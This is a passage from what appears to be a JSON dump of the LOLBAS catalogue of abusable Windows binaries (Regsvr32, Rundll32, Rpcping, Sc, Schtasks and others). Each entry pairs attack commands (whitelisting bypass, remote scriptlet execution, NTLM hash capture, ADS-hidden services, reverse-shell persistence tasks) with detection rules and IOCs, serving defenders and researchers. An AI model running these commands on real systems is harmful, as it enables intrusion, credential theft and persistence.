DLL (.NET)\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\regasm.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml\n - Splunk: https://github.com/splunk/security_content/blob/bc93e670f5dcb24e96fbe3664d6bcad92df5acad/docs/_stories/suspicious_regsvcs_regasm_activity.md\n - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_regasm_with_network_connection.yml\n - IOC: regasm.exe executing dll file\nResources:\n - Link: https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/\n - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/\n - Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.009/T1218.009.md\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n" }, { "path": "yml/OSBinaries/Regedit.yml", "content": "---\nName: Regedit.exe\nDescription: Used by Windows to manipulate registry\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: regedit /E {PATH_ABSOLUTE}:regfile.reg HKEY_CURRENT_USER\\MyCustomRegKey\n Description: Export the target Registry key to the specified .REG file.\n Usecase: Hide registry data in alternate data stream\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: regedit {PATH_ABSOLUTE}:regfile.reg\n Description: Import the target .REG file into the Registry.\n Usecase: Import hidden registry data from alternate data stream\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\regedit.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml\n - IOC: regedit.exe reading and writing to alternate data stream\n - IOC: regedit.exe should normally not be executed by end-users\nResources:\n - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/Regini.yml", "content": "---\nName: Regini.exe\nDescription: Used to manipulate the registry\nAuthor: Oddvar Moe\nCreated: 2020-07-03\nCommands:\n - Command: regini.exe {PATH}:hidden.ini\n Description: Write registry keys from data inside the Alternate data stream.\n Usecase: Write to registry\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\regini.exe\n - Path: C:\\Windows\\SysWOW64\\regini.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regini_ads.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regini_execution.yml\n - IOC: regini.exe reading from ADS\nResources:\n - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\nAcknowledgement:\n - Person: Eli Salem\n Handle: '@elisalem9'\n" }, { "path": "yml/OSBinaries/Register-cimprovider.yml", "content": "---\nName: Register-cimprovider.exe\nDescription: Used to register new wmi providers\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Register-cimprovider -path {PATH_ABSOLUTE:.dll}\n Description: Load the target .DLL.\n Usecase: Execute code within dll file\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Windows\\System32\\Register-cimprovider.exe\n - Path: C:\\Windows\\SysWOW64\\Register-cimprovider.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_susp_register_cimprovider.yml\n - IOC: Register-cimprovider.exe execution and cmdline DLL load may be supsicious\nResources:\n - Link: https://twitter.com/PhilipTsukerman/status/992021361106268161\nAcknowledgement:\n - Person: Philip Tsukerman\n Handle: '@PhilipTsukerman'\n" }, { "path": "yml/OSBinaries/Regsvcs.yml", "content": "---\nName: Regsvcs.exe\nDescription: Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: regsvcs.exe {PATH:.dll}\n Description: Loads the target .NET DLL file and executes the RegisterClass function.\n Usecase: Execute dll file and bypass Application whitelisting\n Category: Execute\n Privileges: User\n MitreID: T1218.009\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL (.NET)\n - Command: regsvcs.exe {PATH:.dll}\n Description: Loads the target .NET DLL file and executes the RegisterClass function.\n Usecase: Execute dll file and bypass Application whitelisting\n Category: AWL Bypass\n Privileges: Local Admin\n MitreID: T1218.009\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL (.NET)\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\RegSvcs.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegSvcs.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegSvcs.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml\n - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_regsvcs_with_network_connection.yml\nResources:\n - Link: https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/\n - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/\n - Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.009/T1218.009.md\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n" }, { "path": "yml/OSBinaries/Regsvr32.yml", "content": "---\nName: Regsvr32.exe\nDescription: Used by Windows to register dlls\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll\n Description: Execute the specified remote .SCT script with scrobj.dll.\n Usecase: Execute code from remote scriptlet, bypass Application whitelisting\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218.010\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: SCT\n - Execute: Remote\n - Command: regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll\n Description: Execute the specified local .SCT script with scrobj.dll.\n Usecase: Execute code from scriptlet, bypass Application whitelisting\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218.010\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: SCT\n - Command: regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll\n Description: Execute the specified remote .SCT script with scrobj.dll.\n Usecase: Execute code from remote scriptlet, bypass Application whitelisting\n Category: Execute\n Privileges: User\n MitreID: T1218.010\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: SCT\n - Execute: Remote\n - Command: regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll\n Description: Execute the specified local .SCT script with scrobj.dll.\n Usecase: Execute code from scriptlet, bypass Application whitelisting\n Category: Execute\n Privileges: User\n MitreID: T1218.010\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: SCT\n - Command: regsvr32.exe /s {PATH:.dll}\n Description: Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`.\n Usecase: Execute DLL file\n Category: Execute\n Privileges: User\n MitreID: T1218.010\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Command: regsvr32.exe /u /s {PATH:.dll}\n Description: Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`.\n Usecase: Execute DLL file\n Category: Execute\n Privileges: User\n MitreID: T1218.010\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Windows\\System32\\regsvr32.exe\n - Path: C:\\Windows\\SysWOW64\\regsvr32.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_parent.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_child_process.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_1.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_network_pattern.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regsvr32_flags_anomaly.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml\n - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_regsvr32_application_control_bypass.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml\n - IOC: regsvr32.exe retrieving files from Internet\n - IOC: regsvr32.exe executing scriptlet (sct) files\n - IOC: DotNet CLR libraries loaded into regsvr32.exe\n - IOC: DotNet CLR Usage Log - regsvr32.exe.log\nResources:\n - Link: https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/\n - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/\n - Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/T1218.010.md\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n" }, { "path": "yml/OSBinaries/Replace.yml", "content": "---\nName: Replace.exe\nDescription: Used to replace file with another file\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /A\n Description: Copy .cab file to destination\n Usecase: Copy files\n Category: Copy\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: replace.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:folder} /A\n Description: Download/Copy executable to specified folder\n Usecase: Download file\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\replace.exe\n - Path: C:\\Windows\\SysWOW64\\replace.exe\nDetection:\n - IOC: Replace.exe retrieving files from remote server\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml\nResources:\n - Link: https://twitter.com/elceef/status/986334113941655553\n - Link: https://twitter.com/elceef/status/986842299861782529\nAcknowledgement:\n - Person: elceef\n Handle: '@elceef'\n" }, { "path": "yml/OSBinaries/Reset.yml", "content": "---\nName: Reset.exe\nDescription: Remote Desktop Services Reset Utility\nAuthor: Matan Bahar\nCreated: 2025-07-31\nCommands:\n - Command: reset.exe session\n Description: Once executed, `reset.exe` will execute `rwinsta.exe` in the same folder. Thus, if `reset.exe` is copied to a folder and an arbitrary executable is renamed to `rwinsta.exe`, `reset.exe` will spawn it.\n Usecase: Execute an arbitrary executable via trusted system executable.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Requires: Rename\nFull_Path:\n - Path: c:\\windows\\system32\\reset.exe\n - Path: c:\\windows\\syswow64\\reset.exe\nDetection:\n - IOC: reset.exe being executed and executes rwinsta.exe outside of its normal path of c:\\windows\\system32\\ or c:\\windows\\syswow64\\\nAcknowledgement:\n - Person: Matan Bahar\n Handle: '@Bl4ckShad3'\n" }, { "path": "yml/OSBinaries/Rpcping.yml", "content": "---\nName: Rpcping.exe\nDescription: Used to verify rpc connection\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM\n Description: Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.\n Usecase: Capture credentials on a non-standard port\n Category: Credentials\n Privileges: User\n MitreID: T1003\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM\n Description: Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).\n Usecase: Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port\n Category: Credentials\n Privileges: User\n MitreID: T1187\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\rpcping.exe\n - Path: C:\\Windows\\SysWOW64\\rpcping.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_rpcping_credential_capture.yml\nResources:\n - Link: https://github.com/vysec/RedTips\n - Link: https://twitter.com/vysecurity/status/974806438316072960\n - Link: https://twitter.com/vysecurity/status/873181705024266241\n - Link: https://twitter.com/splinter_code/status/1421144623678988298\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n - Person: Vincent Yiu\n Handle: '@vysecurity'\n - Person: Antonio Cocomazzi\n Handle: '@splinter_code'\n - Person: ap\n Handle: '@decoder_it'\n" }, { "path": "yml/OSBinaries/Rundll32.yml", "content": "---\nName: Rundll32.exe\nDescription: Used by Windows to execute dll files\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe {PATH},EntryPoint\n Description: First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.\n Usecase: Execute DLL file\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Command: rundll32.exe {PATH_SMB:.dll},EntryPoint\n Description: Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.\n Usecase: Execute DLL from SMB share.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Execute: Remote\n - Command: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:{REMOTEURL}\")\n Description: Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.\n Usecase: Execute code from Internet\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: JScript\n - Command: rundll32 \"{PATH}:ADSDLL.dll\",DllMain\n Description: Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).\n Usecase: Execute code from alternate data stream\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Command: rundll32.exe -sta {CLSID}\n Description: Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.\n Usecase: Execute a DLL/EXE COM server payload or ScriptletURL code.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10 (and likely previous versions), Windows 11\n Tags:\n - Execute: COM\nFull_Path:\n - Path: C:\\Windows\\System32\\rundll32.exe\n - Path: C:\\Windows\\SysWOW64\\rundll32.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml\n - IOC: Outbount Internet/network connections made from rundll32\n - IOC: Suspicious use of cmdline flags such as -sta\nResources:\n - Link: https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/\n - Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7\n - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/\n - Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/\n - Link: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/\n - Link: https://github.com/sailay1996/expl-bin/blob/master/obfus.md\n - Link: https://github.com/sailay1996/misc-bin/blob/master/rundll32.md\n - Link: https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90\n - Link: https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n - Person: Jimmy\n Handle: '@bohops'\n - Person: Sailay\n Handle: '@404death'\n - Person: Martin Ingesen\n Handle: '@Mrtn9'\n" }, { "path": "yml/OSBinaries/Runexehelper.yml", "content": "---\nName: Runexehelper.exe\nDescription: Launcher process\nAuthor: Grzegorz Tworek\nCreated: 2022-12-13\nCommands:\n - Command: runexehelper.exe {PATH_ABSOLUTE:.exe}\n Description: 'Launches the specified exe. Prerequisites: (1) diagtrack_action_output environment variable must be set to an existing, writable folder; (2) runexewithargs_output.txt file cannot exist in the folder indicated by the variable.'\n Usecase: Executes arbitrary code\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10, Windows 11, Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: c:\\windows\\system32\\runexehelper.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_runexehelper.yml\n - IOC: c:\\windows\\system32\\runexehelper.exe is run\n - IOC: Existence of runexewithargs_output.txt file\nResources:\n - Link: https://twitter.com/0gtweet/status/1206692239839289344\nAcknowledgement:\n - Person: Grzegorz Tworek\n Handle: '@0gtweet'\n" }, { "path": "yml/OSBinaries/Runonce.yml", "content": "---\nName: Runonce.exe\nDescription: Executes a Run Once Task that has been configured in the registry\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Runonce.exe /AlternateShellStartup\n Description: Executes a Run Once Task that has been configured in the registry.\n Usecase: Persistence, bypassing defensive counter measures\n Category: Execute\n Privileges: Administrator\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Windows\\System32\\runonce.exe\n - Path: C:\\Windows\\SysWOW64\\runonce.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_runonce_execution.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/2926e98c5d998706ef7e248a63fb0367c841f685/rules/windows/persistence_run_key_and_startup_broad.toml\n - IOC: Registy key add - HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\YOURKEY\nResources:\n - Link: https://twitter.com/pabraeken/status/990717080805789697\n - Link: https://cmatskas.com/configure-a-runonce-task-on-windows/\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "yml/OSBinaries/Runscripthelper.yml", "content": "---\nName: Runscripthelper.exe\nDescription: Execute target PowerShell script\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: runscripthelper.exe surfacecheck \\\\?\\{PATH_ABSOLUTE:.txt} {PATH_ABSOLUTE:folder}\n Description: Execute the PowerShell script with .txt extension\n Usecase: Bypass constrained language mode and execute Powershell script\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10\n Tags:\n - Execute: PowerShell\nFull_Path:\n - Path: C:\\Windows\\WinSxS\\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.15_none_c2df1bba78111118\\Runscripthelper.exe\n - Path: C:\\Windows\\WinSxS\\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\\Runscripthelper.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_runscripthelper.yml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - IOC: Event ID 4104 - Microsoft-Windows-PowerShell/Operational\n - IOC: Event ID 400 - Windows PowerShell\nResources:\n - Link: https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc\nAcknowledgement:\n - Person: Matt Graeber\n Handle: '@mattifestation'\n" }, { "path": "yml/OSBinaries/Sc.yml", "content": "---\nName: Sc.exe\nDescription: Used by Windows to manage services\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: sc create evilservice binPath=\"\\\"c:\\\\ADS\\\\file.txt:cmd.exe\\\" /c echo works > \\\"c:\\ADS\\works.txt\\\"\" DisplayName= \"evilservice\" start= auto\\ & sc start evilservice\n Description: Creates a new service and executes the file stored in the ADS.\n Usecase: Execute binary file hidden inside an alternate data stream\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: sc config {ExistingServiceName} binPath=\"\\\"c:\\\\ADS\\\\file.txt:cmd.exe\\\" /c echo works > \\\"c:\\ADS\\works.txt\\\"\" & sc start {ExistingServiceName}\n Description: Modifies an existing service and executes the file stored in the ADS.\n Usecase: Execute binary file hidden inside an alternate data stream\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Windows\\System32\\sc.exe\n - Path: C:\\Windows\\SysWOW64\\sc.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_susp_service_creation.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_sc_change_sevice_image_path_by_non_admin.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_sc_service_path_modification.yml\n - Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/sc_exe_manipulating_windows_services.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/lateral_movement_cmd_service.toml\n - IOC: Unexpected service creation\n - IOC: Unexpected service modification\nResources:\n - Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/Schtasks.yml", "content": "---\nName: Schtasks.exe\nDescription: Schedule periodic tasks\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: schtasks /create /sc minute /mo 1 /tn \"Reverse shell\" /tr \"{CMD}\"\n Description: Create a recurring task to execute every minute.\n Usecase: Create a recurring task to keep reverse shell session(s) alive\n Category: Execute\n Privileges: User\n MitreID: T1053.005\n OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Command: schtasks /create /s targetmachine /tn \"MyTask\" /tr \"{CMD}\" /sc daily\n Description: Create a scheduled task on a remote computer for persistence/lateral movement\n Usecase: Create a remote task to run daily relative to the the time of creation\n Category: Execute\n Privileges: Administrator\n MitreID: T1053.005\n OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: c:\\windows\\system32\\schtasks.exe\n - Path: c:\\windows\\syswow64\\schtasks.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_schtasks_creation.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/persistence_local_scheduled_task_creation.toml\n - Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/schtasks_scheduling_job_on_remote_system.yml\n - IOC: Suspicious task creation events\nResources:\n - Link: https://isc.sans.edu/forums/diary/Adding+Persistence+Via+Scheduled+Tasks/23633/\n" }, { "path": "yml/OSBinaries/Scriptrunner.yml", "content": "---\nName: Scriptrunner.exe\nDescription: Execute binary through proxy binary to evade defensive counter measures\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Scriptrunner.exe -appvscript {PATH:.exe}\n Description: Executes executable\n Usecase: Execute binary through proxy binary to evade defensive counter measures\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: ScriptRunner.exe -appvscript {PATH_SMB:.cmd}\n Description: Executes cmd file from remote server\n Usecase: Execute binary through proxy binary from external server to evade defensive counter measures\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: Remote\n - Execute: CMD\nFull_Path:\n - Path: C:\\Windows\\System32\\scriptrunner.exe\n - Path: C:\\Windows\\SysWOW64\\scriptrunner.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_servu_susp_child_process.yml\n - IOC: Scriptrunner.exe should not be in use unless App-v is deployed\nResources:\n - Link: https://twitter.com/KyleHanslovan/status/914800377580503040\n - Link: https://twitter.com/NickTyrer/status/914234924655312896\n - Link: https://github.com/MoooKitty/Code-Execution\nAcknowledgement:\n - Person: Nick Tyrer\n Handle: '@nicktyrer'\n" }, { "path": "yml/OSBinaries/Setres.yml", "content": 